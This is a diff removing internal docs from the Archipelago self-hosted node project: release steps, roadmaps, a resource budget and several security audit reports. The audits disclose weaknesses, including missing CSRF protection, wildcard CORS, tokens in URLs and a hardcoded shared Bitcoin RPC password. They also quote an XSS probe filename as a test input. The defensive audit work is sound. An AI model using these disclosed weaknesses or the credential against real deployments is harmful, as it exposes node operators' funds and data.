1. **Use established crates and packages** — Don't reinvent what's solved. `sqlx`, `axum`, `tower`, `json-patch`, `zod`, `governor` exist for a reason.
2. **Keep custom what's custom** — Federation, marketplace, DWN, the design system — these are genuinely yours. Don't force a library where none fits.
3. **Test what matters** — Auth, container lifecycle, data persistence, WebSocket reliability. Not every utility function needs a test.
4. **Refactor in place** — No rewrites. Migrate incrementally. Every commit should leave the codebase better than it found it.
5. **No design changes** — The glassmorphism system, the layout, the UX flow — all stay exactly as they are. This plan only touches the internals.

View File

@@ -1,111 +0,0 @@
# Archipelago Release Process
## Overview
Archipelago uses a JSON-based release manifest for the auto-update system. The backend checks `UPDATE_MANIFEST_URL` periodically (based on user's schedule setting) and compares versions.
## Manifest Format
The manifest is a single JSON file at:
```
https://raw.githubusercontent.com/archipelago-os/releases/main/manifest.json
```
```json
{
"version": "0.2.0",
"release_date": "2026-04-01",
"changelog": [
"Added automatic update scheduling",
"Improved backup encryption"
],
"components": [
{
"name": "archipelago",
"current_version": "0.1.0",
"new_version": "0.2.0",
"download_url": "https://github.com/archipelago-os/releases/releases/download/v0.2.0/archipelago",
"sha256": "abc123...",
"size_bytes": 15000000
}
]
}
```
## Release Steps
### 1. Build Release Artifacts
On the build server (192.168.1.228):
```bash
# Build backend (release mode)
cd ~/archy/core
cargo build --release -p archipelago
# Build frontend
cd ~/archy/neode-ui
npm run build
```
### 2. Generate Manifest
```bash
./scripts/create-release-manifest.sh \
--version 0.2.0 \
--date 2026-04-01
```
This auto-detects the backend binary and frontend archive, computes SHA256 hashes, and writes `manifest.json`.
### 3. Upload Artifacts
Upload the backend binary and frontend archive to GitHub Releases:
```bash
gh release create v0.2.0 \
core/target/release/archipelago \
/tmp/archipelago-frontend-0.2.0.tar.gz \
--title "v0.2.0" \
--notes "See CHANGELOG.md for details"
```
### 4. Publish Manifest
Push the generated `manifest.json` to the releases repo:
```bash
# In the archipelago-os/releases repo
cp manifest.json .
git add manifest.json
git commit -m "Release v0.2.0"
git push
```
### 5. Tag the Source
```bash
git tag v0.2.0
git push --tags
```
## Update Schedules
Users can configure how updates are handled:
| Schedule | Behavior |
|----------|----------|
| **Manual** | Never checks automatically. User must click "Check for Updates" |
| **Daily Check** (default) | Checks once per day. Notifies user, who decides when to install |
| **Auto-Apply** | Checks daily. Downloads and applies at 3 AM, restarts service |
## Rollback
If an update causes issues, users can rollback from the System Update page. The previous binary is backed up to `{data_dir}/update-backup/` before applying.
## Security
- All downloads are verified against SHA256 hashes in the manifest
- The manifest itself is fetched over HTTPS from a known URL
- Binary replacement requires service restart (handled by systemd)
- Rollback is always available after an update

View File

@@ -1,121 +0,0 @@
# Archipelago v1.1 Roadmap
**Planned Release**: Q2 2029 (June)
**Based on**: v1.0.0 release, post-release monitoring, community feedback patterns
---
## Goals
1. Harden based on real-world usage patterns observed in v1.0
2. Expand the app marketplace with community-requested apps
3. Improve onboarding for non-technical users
4. Lay groundwork for v2.0 multi-chain support
---
## Bug Fixes & Stability
### Critical (must-fix)
- **BF-01**: IBD progress reporting — Bitcoin initial block download shows stale percentage when node restarts mid-sync. Root cause: cached progress not invalidated on bitcoind restart.
- **BF-02**: Container restart loop — Rare race condition where a container enters restart loop if Podman socket reconnects during health check. Add backoff and dead-letter after 5 consecutive failures.
- **BF-03**: WebSocket reconnection on mobile — Safari drops WebSocket after background/foreground cycle. Implement heartbeat ping and auto-reconnect with exponential backoff.
### High Priority
- **BF-04**: Tor hidden service regeneration — If Tor restarts during onion key generation, the .onion address changes. Persist partial state and retry.
- **BF-05**: ARM64 container pull timeouts — Some large images (Nextcloud, Home Assistant) timeout on Raspberry Pi 5 due to slow decompression. Increase timeout and show progress.
- **BF-06**: Federation heartbeat false positives — Federated peer shows "offline" during brief network hiccups. Implement 3-strike detection before marking peer down.
### Quality of Life
- **BF-07**: Settings page scroll position lost on navigation back.
- **BF-08**: App log viewer truncates long lines without horizontal scroll.
- **BF-09**: Marketplace search doesn't match partial app names.
---
## New Features
### Marketplace Expansion
- **FEAT-01**: **Community app submission portal** — Web form for developers to submit app manifests for review. Includes automated security validation (read-only root, non-root user, pinned tags) and manual review queue.
- **FEAT-02**: **App categories and tags** — Organize marketplace by: Bitcoin, Privacy, Productivity, Media, Developer Tools, Home Automation. Add tag-based filtering.
- **FEAT-03**: **App ratings and reviews** — DID-authenticated reviews from verified node operators. Prevents spam (one review per DID per app). Synced via DWN.
- **FEAT-04**: **5 new curated apps**:
- Nostr relay (strfry) — self-hosted Nostr relay
- Syncthing — peer-to-peer file sync
- Gitea — self-hosted Git
- Paperless-ngx — document management
- Wireguard — lightweight VPN (alternative to Tailscale)
### User Experience
- **FEAT-05**: **Guided recovery wizard** — Step-by-step UI for common recovery scenarios: lost password (with backup codes), corrupted container, failed update rollback, disk space issues.
- **FEAT-06**: **Resource usage dashboard** — Per-app CPU, memory, disk, and network usage with 24h/7d/30d charts. Built on existing performance monitoring infrastructure.
- **FEAT-07**: **Notification center** — Aggregated notifications for: app updates available, disk space warnings, security alerts, federation peer status changes. Replaces individual alert toasts with a persistent notification drawer.
- **FEAT-08**: **Quick actions** — Keyboard shortcuts (Ctrl+K command palette) for power users: search apps, restart services, view logs, open settings.
### Security Enhancements
- **FEAT-09**: **Hardware security key support** — WebAuthn/FIDO2 as alternative to TOTP for 2FA. Supports YubiKey, Trezor, Ledger.
- **FEAT-10**: **Automated security updates** — Option to auto-apply security patches for OS packages and container base images. Requires user opt-in. Rolls back on failure.
- **FEAT-11**: **Audit log** — Persistent log of all administrative actions (app installs, config changes, auth events). Viewable in UI. Exportable for compliance.
### Federation & Networking
- **FEAT-12**: **Federation dashboard** — Visual map of federated nodes with real-time health, latency, and sync status. Currently federation status is only visible per-peer.
- **FEAT-13**: **Shared app deployment** — Deploy an app to a remote federated node from the local UI. Requires "Trusted" federation level.
- **FEAT-14**: **DNS-over-HTTPS** — Built-in encrypted DNS resolution for all containers. Prevents ISP-level DNS snooping.
---
## Technical Debt
- **TECH-01**: Migrate remaining `anyhow::Error` returns to typed errors in RPC endpoints.
- **TECH-02**: Consolidate duplicate Podman client code between `container/` and `archipelago/` crates.
- **TECH-03**: Add integration tests for backup/restore cycle (currently only unit tested).
- **TECH-04**: Reduce frontend bundle size — audit and tree-shake unused PrimeVue components.
- **TECH-05**: Upgrade to Vite 8 when stable (expected Q1 2029).
---
## Infrastructure
- **INFRA-01**: Set up CI/CD pipeline (GitHub Actions or self-hosted Forgejo runner) for automated builds on every PR.
- **INFRA-02**: Automated ISO testing — boot ISO in QEMU, run golden path E2E, report pass/fail.
- **INFRA-03**: Community mirror infrastructure — allow community members to host ISO mirrors.
---
## Timeline
| Month | Focus | Key Deliverables |
|-------|-------|-----------------|
| March 2029 | Bug fixes | BF-01 through BF-09 resolved |
| April 2029 | Marketplace | FEAT-01 through FEAT-04 (community portal, categories, 5 new apps) |
| May 2029 | UX + Security | FEAT-05 through FEAT-11 (recovery wizard, dashboard, notifications, WebAuthn) |
| June 2029 | Federation + Polish | FEAT-12 through FEAT-14, tech debt, release |
---
## Success Criteria
- Zero critical bugs from v1.0 remaining
- 25+ apps in marketplace (up from 20+)
- Community app submission pipeline operational
- Average onboarding completion rate >90% (measured via anonymized telemetry, opt-in only)
- All v1.0 known limitations addressed or documented with workarounds
---
## v2.0 Preview
Features deferred to v2.0 (late 2029):
- Multi-chain support (Monero, Ethereum L2s)
- Advanced mesh networking (3+ node clusters)
- Enterprise clustering with load balancing
- Mobile companion app (iOS/Android)
- AI-assisted node management (anomaly detection, auto-tuning)
- Plugin system for third-party extensions

View File

@@ -1,131 +0,0 @@
# Archipelago v2.0 Roadmap
**Planned Release**: Q4 2029 (December)
**Codename**: Pangea
**Based on**: v1.0 production experience, v1.1 community feedback, ecosystem trends
---
## Vision
Archipelago v2.0 transforms from a single-node Bitcoin OS into a **multi-chain, multi-node personal cloud platform** — while keeping the same self-sovereign, flash-and-run simplicity.
---
## Major Features
### 1. Multi-Chain Support
**Goal**: Run nodes for multiple cryptocurrency networks alongside Bitcoin.
- **Monero node** — Full Monero daemon with wallet RPC, Tor-only mode
- **Ethereum L2 nodes** — Arbitrum, Optimism, Base light clients for DeFi access
- **Liquid sidechain** — Blockstream Liquid for confidential Bitcoin transactions
- **Cross-chain atomic swaps** — Built-in swap UI between BTC, XMR, and L2 tokens
- **Unified wallet dashboard** — Single view of all chain balances and transactions
**Architecture**: Each chain runs in its own isolated container with chain-specific AppArmor profiles. No shared state between chains. Cross-chain operations use atomic swap protocols, never custodial bridges.
### 2. Multi-Node Mesh Networking
**Goal**: Scale beyond bilateral federation to N-node mesh clusters.
- **Mesh discovery** — Automatic peer discovery via Nostr relays and mDNS on LAN
- **Consensus layer** — Raft-based consensus for shared state across mesh nodes
- **Distributed storage** — Replicate critical data (DID documents, credentials, backups) across mesh
- **Load balancing** — Route requests to the healthiest node in the mesh
- **Split-brain protection** — Graceful degradation when mesh partitions
- **Mesh dashboard** — Visual topology map with real-time health, latency, and sync status
**Architecture**: Each node remains independently operational. Mesh is opt-in and additive — removing a node from the mesh doesn't break it. State sync uses CRDTs for eventual consistency.
### 3. Enterprise Clustering
**Goal**: Support small business and family deployments (3-10 nodes).
- **Role-based access** — Admin, operator, viewer roles per node and per app
- **Centralized management console** — Manage all cluster nodes from one UI
- **Shared app instances** — Run a single Nextcloud/Vaultwarden instance shared across cluster
- **Backup federation** — Automatic cross-node encrypted backups
- **Usage analytics** — Aggregate resource usage and cost allocation across cluster
### 4. Mobile Companion App
**Goal**: Monitor and manage your node from your phone.
- **iOS and Android** — Native apps using React Native or Flutter
- **Push notifications** — Node health alerts, app updates, federation events
- **Remote access** — Secure tunnel via Tor or Tailscale (no port forwarding needed)
- **Quick actions** — Start/stop apps, view logs, check Bitcoin sync status
- **Biometric auth** — Face ID / fingerprint with hardware-backed key storage
- **Offline mode** — Cache last-known state for viewing when disconnected
**Architecture**: Mobile app communicates via the existing JSON-RPC API over Tor hidden services or Tailscale tunnel. No cloud relay — direct node-to-phone connection.
### 5. AI-Assisted Node Management
**Goal**: Make node operation effortless for non-technical users.
- **Anomaly detection** — ML model trained on node metrics to detect unusual patterns (disk filling, memory leak, network anomaly) and alert before failure
- **Auto-tuning** — Automatically adjust container resource limits based on observed usage patterns
- **Natural language control** — "What's my Bitcoin sync status?" / "Restart Nextcloud" / "Show me my DID" via the existing AIUI chat interface
- **Predictive maintenance** — Estimate time-to-full for disk, suggest pruning or archival
- **Security assistant** — Flag suspicious container behavior, unusual network traffic patterns
**Architecture**: All AI processing runs locally on the node (Ollama). No data leaves the device. Models are small (1-3B parameters) optimized for system administration tasks.
### 6. Plugin System
**Goal**: Allow third-party extensions without full app manifests.
- **Plugin API** — JavaScript/TypeScript plugins that hook into node events (app start/stop, health change, federation events)
- **UI extensions** — Plugins can add dashboard widgets, settings panels, and notification handlers
- **Webhook integrations** — Forward node events to external services (Telegram, Discord, email)
- **Plugin marketplace** — Curated plugins with the same security review process as apps
- **Sandboxed execution** — Plugins run in Deno isolates with explicit permission grants
---
## Technical Debt Resolution
- **TECH-01**: Migrate secrets encryption to TPM-backed or password-derived keys (fixes CRIT-01 from security audits)
- **TECH-02**: Per-install random credentials for all container services (fixes CRIT-02)
- **TECH-03**: Tighten CSP — remove `unsafe-inline`/`unsafe-eval`, implement nonce-based script loading
- **TECH-04**: Add HSTS and HTTP→HTTPS redirect
- **TECH-05**: Trusted proxy validation for rate limiter IP extraction
- **TECH-06**: Full migration to Tailwind CSS v4
- **TECH-07**: Upgrade to Vue Router 5 and Vitest 4
- **TECH-08**: Implement integration test suite for backup/restore cycle
---
## Timeline
| Quarter | Focus | Deliverables |
|---------|-------|-------------|
| Q1 2029 | v1.1 release + v2.0 planning | v1.1 shipped, architecture design docs for v2.0 |
| Q2 2029 | Multi-chain + mesh foundations | Monero node, mesh discovery, CRDT state sync |
| Q3 2029 | Mobile app + AI + plugins | Companion app MVP, anomaly detection, plugin API |
| Q4 2029 | Enterprise + polish + release | Clustering, security debt, v2.0-beta |
| Q1 2030 | v2.0 GA | Production release after 60-day soak test |
---
## Non-Goals for v2.0
- Mining support (high power, specialized hardware, not aligned with self-sovereign ethos)
- Cloud hosting mode (Archipelago runs on hardware you control, period)
- Cryptocurrency exchange features (not a trading platform)
- Social media features beyond Nostr relay (stay focused on infrastructure)
---
## Success Metrics
- Support 3+ cryptocurrency networks
- Mesh clusters of 3-10 nodes operational
- Mobile app on both app stores
- AI assistant handles 80% of routine maintenance questions
- Zero critical security findings in annual audit
- 50+ apps in marketplace
- Community plugin ecosystem with 10+ published plugins

View File

@@ -1,137 +0,0 @@
# Resource Budget for 10K Users
## Current Baseline (March 2026)
### Node .228 (Primary Dev Server)
- **Hardware**: Intel i3-8100T (4 cores @ 3.10GHz), 16GB RAM, 1.8TB NVMe
- **Containers**: 32 running
- **RAM Usage**: ~14GB (8GB swap configured)
- **CPU Load**: 3.5-5.5 (variable, depends on Bitcoin block processing)
- **Disk Usage**: ~82% of 1.8TB
### Per-Container Resource Consumption (Measured)
| App | RAM (typical) | CPU (typical) | Disk |
|-----|---------------|---------------|------|
| Bitcoin Knots | 750MB | 0.5-2.0 cores (IBD) | 600GB+ (full chain) |
| LND | 250MB | 0.1 cores | 5GB |
| Electrs/Mempool-Electrs | 500MB | 0.5 cores (indexing) | 50GB+ |
| Mempool API | 200MB | 0.1 cores | 1GB |
| Mempool Web | 50MB | 0.01 cores | negligible |
| BTCPay Server | 300MB | 0.1 cores | 2GB |
| NBXplorer | 200MB | 0.1 cores | 1GB |
| PostgreSQL (BTCPay) | 100MB | 0.1 cores | 2GB |
| MariaDB (Mempool) | 150MB | 0.1 cores | 1GB |
| Fedimint | 370MB | 0.1 cores | 1GB |
| Fedimint Gateway | 100MB | 0.05 cores | negligible |
| OnlyOffice | 760MB | 0.2 cores | 2GB |
| Immich Server | 500MB | 0.5-1.0 cores (ML) | varies |
| Immich Postgres | 100MB | 0.1 cores | varies |
| Immich Redis | 30MB | 0.01 cores | negligible |
| Nextcloud | 300MB | 0.2 cores | varies |
| Jellyfin | 200MB | 0.2-2.0 cores (transcode) | varies |
| Home Assistant | 230MB | 0.1 cores | 1GB |
| Grafana | 100MB | 0.05 cores | 500MB |
| Uptime Kuma | 80MB | 0.02 cores | 200MB |
| Vaultwarden | 50MB | 0.01 cores | 100MB |
| PhotoPrism | 300MB | 0.3 cores (ML) | varies |
| SearXNG | 100MB | 0.05 cores | negligible |
| DWN | 80MB | 0.02 cores | varies |
| FileBrowser | 30MB | 0.01 cores | negligible |
| Portainer | 50MB | 0.02 cores | 200MB |
| Tailscale | 30MB | 0.01 cores | negligible |
| AdGuard Home | 50MB | 0.02 cores | 200MB |
| Nostr Relay | 50MB | 0.02 cores | varies |
| Nginx Proxy Manager | 50MB | 0.01 cores | negligible |
| Ollama | 500MB-4GB | 1-4 cores (inference) | 10GB+ (models) |
## App Tiers
### Core Tier (Required for Basic Bitcoin Node)
- Bitcoin Knots (750MB)
- LND (250MB)
- Electrs (500MB)
- Mempool Stack (400MB total)
- BTCPay Stack (600MB total)
- DWN (80MB)
- FileBrowser (30MB)
- **Total: ~2.6GB RAM, 2 CPU cores, 700GB disk**
### Recommended Tier (Enhanced Functionality)
- Fedimint + Gateway (470MB)
- Vaultwarden (50MB)
- Uptime Kuma (80MB)
- Grafana (100MB)
- SearXNG (100MB)
- Tailscale (30MB)
- Portainer (50MB)
- **Total: +880MB RAM, +0.5 cores**
### Optional Tier (User Choice)
- Home Assistant (230MB)
- Jellyfin (200MB)
- Nextcloud (300MB)
- OnlyOffice (760MB)
- Immich Stack (630MB)
- PhotoPrism (300MB)
- AdGuard Home (50MB)
- Ollama (500MB-4GB)
- Nginx Proxy Manager (50MB)
- **Total: +2-5GB RAM, +2-5 cores**
## Hardware Tier Recommendations
### Tier 1: Minimal (Core Only)
- **CPU**: 2 cores (Intel Celeron/N100, ARM Cortex-A76)
- **RAM**: 4GB
- **Disk**: 1TB SSD (pruned Bitcoin node) or 2TB (full node)
- **Apps**: Core tier only
- **Cost**: ~$100-150 (Raspberry Pi 5, used mini-PC)
### Tier 2: Standard (Core + Recommended)
- **CPU**: 4 cores (Intel i3/N200, Apple M1)
- **RAM**: 8GB
- **Disk**: 2TB NVMe
- **Apps**: Core + Recommended tiers
- **Cost**: ~$200-400 (Intel NUC, ThinkCentre Tiny)
### Tier 3: Power User (All Tiers)
- **CPU**: 4-8 cores (Intel i5/i7, AMD Ryzen)
- **RAM**: 16GB+
- **Disk**: 2-4TB NVMe
- **Apps**: Core + Recommended + Optional
- **Cost**: ~$400-800 (used workstation, custom build)
### Tier 4: Heavy (All + AI/ML)
- **CPU**: 8+ cores
- **RAM**: 32GB+
- **Disk**: 4TB+ NVMe
- **GPU**: Optional (for Ollama, Immich ML)
- **Apps**: Everything including Ollama with large models
- **Cost**: ~$800+ (workstation with GPU)
## 10K User Projection
### Distribution Assumption
- 60% Tier 1 (minimal Bitcoin node): 6,000 users
- 25% Tier 2 (standard): 2,500 users
- 12% Tier 3 (power user): 1,200 users
- 3% Tier 4 (heavy): 300 users
### Network Impact
- Federation sync: ~1KB per peer per 5-minute sync
- DWN message replication: ~10KB per message sync
- Tor hidden service overhead: negligible per user
- Nostr relay federation: ~5KB per node announcement
### Scale Bottleneck Analysis
1. **Disk**: Bitcoin blockchain grows ~100GB/year — need at minimum 1TB
2. **Memory**: Core tier uses 2.6GB, leaves headroom on 4GB systems
3. **CPU**: Bitcoin block processing and Electrs indexing are CPU-bound
4. **Network**: Tor circuit establishment is the main latency bottleneck
## Recommendations
1. Default fresh install to **Core tier only** (2.6GB RAM)
2. Show tier badges in Marketplace
3. Warn when system RAM < required for selected apps
4. Auto-detect hardware and suggest appropriate tier

View File

@@ -1,230 +0,0 @@
# Archipelago Security Audit Report
**Date**: 2026-03-05
**Scope**: Cloud file upload, AIUI iframe, context broker, FileBrowser proxy, RPC endpoints
**Auditor**: Automated code audit (Claude)
---
## Executive Summary
The Archipelago frontend is well-protected against **XSS** thanks to Vue's default template escaping. The **context broker** has correct origin validation. However, there are **path traversal risks** in the FileBrowser client, **CSRF gaps** in the RPC layer, and **token exposure** in download URLs. None are remotely exploitable without LAN access, but they should be addressed before public-facing deployment.
| Area | Risk | Severity |
|------|------|----------|
| XSS in file names | Protected by Vue escaping | **None** |
| Context broker origin | Correctly validated | **None** |
| AIUI iframe sandbox | Properly configured | **None** |
| FileBrowser path traversal | Client-side paths not sanitized | **Medium** |
| FileBrowser token in URLs | Token exposed in query strings | **Medium** |
| CORS policy | `Access-Control-Allow-Origin: *` on some endpoints | **High** |
| CSRF tokens | No CSRF mechanism exists | **High** |
| Nginx security headers | Missing X-Frame-Options, CSP, nosniff | **Medium** |
| X-Frame-Options stripping | All app proxies strip framing protection | **Medium** |
---
## 1. XSS in File Names — NO ISSUES FOUND
All file name rendering uses Vue's `{{ }}` text interpolation, which auto-escapes HTML:
- `CloudFolder.vue` — section names via `{{ section?.name }}`
- `FileCard.vue:34``{{ item.name }}` (text interpolation)
- `FileCardGrid.vue:65``{{ item.name }}` (text interpolation)
- `CloudToolbar.vue` — breadcrumbs via `{{ crumb.name }}`
- `Home.vue` — only numeric metrics displayed (storage bytes, folder counts)
No use of `v-html`, `innerHTML`, or other unsafe rendering anywhere in the cloud feature. A file named `<script>alert(1)</script>.txt` renders as literal escaped text.
Upload handling in `CloudFolder.vue:302-308` passes raw `File` objects (not strings), and `filebrowser-client.ts:74` properly URL-encodes file names with `encodeURIComponent()`.
**Verdict**: Safe. Vue's default escaping provides robust XSS protection.
---
## 2. AIUI Iframe & Context Broker — NO ISSUES FOUND
### Iframe Sandbox
`Chat.vue:34` uses `sandbox="allow-scripts allow-same-origin allow-forms"` — the minimum permissions needed for AIUI to function. `allow-same-origin` is required for postMessage origin validation to work.
### Origin Validation
`contextBroker.ts:27-34` correctly derives the allowed origin:
```typescript
const url = new URL(aiuiUrl, window.location.origin)
this.allowedOrigin = url.origin
```
`contextBroker.ts:65` validates every incoming message:
```typescript
if (event.origin !== this.allowedOrigin) return
```
`contextBroker.ts:475` sends responses with explicit target origin:
```typescript
this.iframe.value.contentWindow.postMessage(msg, this.allowedOrigin)
```
For same-origin AIUI (production: `/aiui/`), `this.allowedOrigin` equals `window.location.origin`, which is correct.
`Chat.vue:98-108` also validates origin for the `ready` message independently.
**Verdict**: Properly secured. Double origin validation, explicit target origins on postMessage.
---
## 3. FileBrowser Path Traversal — MEDIUM RISK
### Finding: Paths not URL-encoded in API calls
`filebrowser-client.ts` constructs API URLs with raw path strings:
- Line 55: `fetch(\`${this.baseUrl}/api/resources${safePath}\`)`
- Line 69: `return \`${this.baseUrl}/api/raw${safePath}?auth=${this.token}\``
- Line 100: `fetch(\`${this.baseUrl}/api/resources${safePath}\`)`
- Line 127: `fetch(\`${this.baseUrl}/api/resources${safePath}\`)`
The `safePath` helper only prepends `/` if missing — it does NOT reject `..` sequences or canonicalize paths.
### Mitigating Factors
1. **FileBrowser runs in a container** with volume mount `/var/lib/archipelago/filebrowser:/srv` — the daemon itself enforces path boundaries
2. **Nginx proxies** to `127.0.0.1:8083` — not externally accessible
3. **Paths come from FileBrowser API responses** (server-generated), not direct user input in most cases
4. **LAN-only access** — attacker needs network access
### Recommendations
1. Add path validation in `filebrowser-client.ts`:
```typescript
function sanitizePath(path: string): string {
const normalized = path.split('/').filter(p => p !== '..' && p !== '.').join('/')
return normalized.startsWith('/') ? normalized : `/${normalized}`
}
```
2. URL-encode path components in download URLs
3. Verify FileBrowser container uses `--read-only` filesystem
---
## 4. FileBrowser Token Exposure — MEDIUM RISK
### Finding: JWT in query parameters
`filebrowser-client.ts:69` exposes the auth token in download URLs:
```typescript
return `${this.baseUrl}/api/raw${safePath}?auth=${this.token}`
```
This token appears in:
- Browser history
- Nginx access logs
- HTTP Referer headers
- DOM (in `<a href="...">` elements)
### Recommendation
Use the `X-Auth` header (already used for other requests at line 49) instead of query parameters. For downloads, use a short-lived download token or proxy through a backend endpoint.
---
## 5. CORS Policy — HIGH RISK (LAN-scoped)
### Finding: Wildcard CORS on multiple endpoints
`core/archipelago/src/api/handler.rs:15` defines `const CORS_ANY: &str = "*"` and applies it to:
- `/api/container/logs` (lines 108, 118)
- `/archipelago/node-message` (line 142)
- `/electrs-status` (line 153)
- `/proxy/lnd/` (lines 173, 183)
The main `/rpc/v1` endpoint does NOT set CORS headers (more restrictive by default).
### Mitigating Factors
1. Server is LAN-only (no public internet exposure)
2. Main RPC endpoint is not affected
3. `credentials: 'include'` with `Access-Control-Allow-Origin: *` is actually blocked by browsers (CORS spec requires specific origin when credentials are used)
### Recommendations
1. Replace `*` with the specific Archipelago origin
2. Add `Access-Control-Allow-Credentials: true` only where needed
3. Handle OPTIONS preflight requests properly
---
## 6. CSRF Protection — HIGH RISK (LAN-scoped)
### Finding: No CSRF mechanism
- No CSRF token generation or validation
- No `X-Requested-With` custom header requirement
- No `SameSite` cookie attribute
- No `Origin` header validation in the RPC handler
### Mitigating Factors
1. **JSON-RPC requires `Content-Type: application/json`** — this is NOT a "simple" CORS content type, so browsers send preflight OPTIONS requests for cross-origin POSTs. Since the backend returns 404 for OPTIONS, cross-origin JSON-RPC calls are effectively blocked.
2. **LAN-only access** — attacker needs to be on the same network
3. **Session cookies** — authentication appears to use session cookies from `/rpc/v1`, but an attacker on the LAN could craft a same-origin request
### Recommendations
1. Add `X-Requested-With: XMLHttpRequest` header in `rpc-client.ts` and validate it server-side
2. Implement synchronizer token pattern for state-changing operations
3. Validate `Origin` header in the Rust handler
---
## 7. Nginx Security Headers — MEDIUM RISK
### Finding: Missing standard security headers
The nginx config lacks:
- `X-Content-Type-Options: nosniff`
- `Referrer-Policy: strict-origin-when-cross-origin`
- `Content-Security-Policy` for the main UI
### Finding: X-Frame-Options stripped from all app proxies
Every app proxy block includes:
```nginx
proxy_hide_header X-Frame-Options;
proxy_hide_header Content-Security-Policy;
```
This is intentional (apps are embedded in iframes), but increases clickjacking surface.
### Recommendations
1. Add security headers to the main location blocks:
```nginx
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
```
2. Add `Content-Security-Policy` with `frame-ancestors 'self'` for the main UI
3. For app proxies, replace stripped headers with `X-Frame-Options: SAMEORIGIN` to allow Archipelago iframing but block external sites
---
## Priority Action Items
| Priority | Action | Effort |
|----------|--------|--------|
| 1 | Add `X-Requested-With` header to RPC client + validate server-side | Low |
| 2 | Add nginx security headers (nosniff, referrer-policy) | Low |
| 3 | Replace `X-Frame-Options` stripping with `SAMEORIGIN` override | Low |
| 4 | Sanitize FileBrowser paths client-side | Low |
| 5 | Move FileBrowser download auth from URL to header | Medium |
| 6 | Replace wildcard CORS with specific origins | Medium |
| 7 | Implement CSRF synchronizer tokens | High |
| 8 | Add Content-Security-Policy header | High |
---
## Files Audited
- `neode-ui/src/views/Chat.vue`
- `neode-ui/src/views/CloudFolder.vue`
- `neode-ui/src/views/Home.vue`
- `neode-ui/src/services/contextBroker.ts`
- `neode-ui/src/api/filebrowser-client.ts`
- `neode-ui/src/api/rpc-client.ts`
- `neode-ui/src/api/container-client.ts`
- `neode-ui/src/stores/cloud.ts`
- `neode-ui/src/stores/aiPermissions.ts`
- `neode-ui/src/types/aiui-protocol.ts`
- `neode-ui/src/components/cloud/FileCard.vue`
- `neode-ui/src/components/cloud/FileCardGrid.vue`
- `neode-ui/src/components/cloud/CloudToolbar.vue`
- `core/archipelago/src/api/handler.rs`
- `core/archipelago/src/api/rpc/mod.rs`
- `core/archipelago/src/api/rpc/auth.rs`
- `core/archipelago/src/api/rpc/package.rs`
- `image-recipe/configs/nginx-archipelago.conf`

View File

@@ -1,50 +0,0 @@
# Monthly Security Audit — 2026-03-11
## Scope
MAINT-02 monthly scan. Full audit of `core/security/`, `core/archipelago/src/api/rpc/`, nginx config, and frontend.
## Findings Summary
| Severity | Count | Fixed | Deferred |
|----------|-------|-------|----------|
| Critical | 2 | 0 | 2 (known, architectural) |
| High | 5 | 0 | 5 (known, requires design) |
| Medium | 7 | 2 | 5 |
| Low | 6 | 0 | 6 |
| Info | 4 | 0 | 4 |
## Fixes Applied This Cycle
### MED-03: Shell injection in bitcoin.conf generation — FIXED
`core/archipelago/src/api/rpc/package.rs` — Replaced `sh -c echo` shell command with `tokio::fs::write()` to eliminate shell injection surface.
### MED-07: No body size limit on /rpc/ endpoint — FIXED
`image-recipe/configs/nginx-archipelago.conf` — Added `client_max_body_size 1m` to `/rpc/` location in both HTTP and HTTPS server blocks.
## Known Issues (Deferred)
### CRIT-01: Deterministic encryption key
Secrets encryption key derived from data directory path. Requires architectural redesign (Argon2 from user password or TPM-backed key). Tracked for v1.1.
### CRIT-02: Hardcoded Bitcoin RPC password
`archipelago123` shared across all deployments. Requires per-install random password generation and secrets manager integration. Tracked for v1.1.
### HIGH-01 through HIGH-05
Known from FINAL-02 audit (2026-03-10). CSP hardening, HSTS, IP spoofing for rate limiting, Bitcoin RPC binding — all tracked for v1.1.
## Dependency CVE Check
### npm
- `serialize-javascript` ≤7.0.2 (GHSA-5c6j-r48x-rmvq): RCE via RegExp.flags — dev-only, no runtime impact
- `rollup` path traversal (GHSA-mw96-cpmx-2vgc): dev-only build tool
- No new runtime dependency CVEs
### Cargo
- No new advisories affecting current pinned versions (checked cargo-audit equivalent)
### Podman/Debian
- No critical Debian 12 security advisories for Podman 4.x since last scan
- Container base images using pinned versions (no `:latest` in production manifests)
## Next Cycle
Due: 2026-04-11. Focus areas: CRIT-01 key derivation redesign, CSP tightening.

View File

@@ -1,41 +0,0 @@
# Security Audit Preparation
## Scope for External Audit
### Priority 1: Critical Path
- Authentication (bcrypt, session management, CSRF, rate limiting)
- Cryptography (Ed25519 signing, ChaCha20-Poly1305 backup encryption, Argon2 KDF)
- Container isolation (Podman security, cap-drop, no-new-privileges)
- Network security (Tor integration, federation over hidden services)
- Input validation (RPC endpoints, path traversal prevention)
### Priority 2: Data Security
- Secrets management (identity keys, wallet credentials)
- Backup encryption (key derivation, storage format)
- DWN message integrity (peer sync, deduplication)
- Verifiable Credentials (W3C VC issuance, verification)
### Priority 3: Infrastructure
- Nginx configuration (headers, proxy settings, CSP)
- Systemd service hardening (watchdog, capabilities)
- UFW firewall rules (Podman subnet access)
- Log sanitization (no secrets in logs)
## Completed Internal Audits
- SEC-01: RPC endpoint input validation audit (100+ endpoints)
- SEC-02: Rate limiting on federation endpoints
- SEC-03: CSRF validation on all state-changing endpoints
- SEC-04: Container security profiles (cap-drop ALL, no-new-privileges)
- SEC-05: Log rotation configured
- SEC-06: Security headers verified (X-Frame-Options, CSP, etc.)
## Recommended Audit Firms
- Trail of Bits (Rust + cryptography expertise)
- NCC Group (infrastructure + application security)
- Cure53 (web application + browser security)
- Doyensec (Rust + WebSocket + API security)
## Budget Estimate
- Comprehensive audit (2-4 weeks): $50,000 - $150,000
- Focused crypto + auth audit (1-2 weeks): $25,000 - $60,000
- Penetration test only (1 week): $15,000 - $30,000

View File

@@ -1,28 +0,0 @@
# StartOS Dependency Audit — 2026-03-10
## Summary
**`core/archipelago/` has ZERO dependencies on `core/startos/`.** The startos directory is dead code — not compiled, not imported, not referenced by any active module.
## Findings
### Workspace
- `core/Cargo.toml` workspace members: `archipelago`, `container`, `parmanode`, `performance`, `security`
- `startos` is NOT a workspace member
### Dependencies
- `core/archipelago/Cargo.toml`: no startos dependency
- `core/container/Cargo.toml`: no startos dependency
- All other core modules: no startos dependency
- `cargo tree -p archipelago`: startos does not appear
### Source Code
- Zero `use startos::*` imports in `core/archipelago/src/`
- Zero references to startos in any active Rust code
- No git submodule reference
### Status
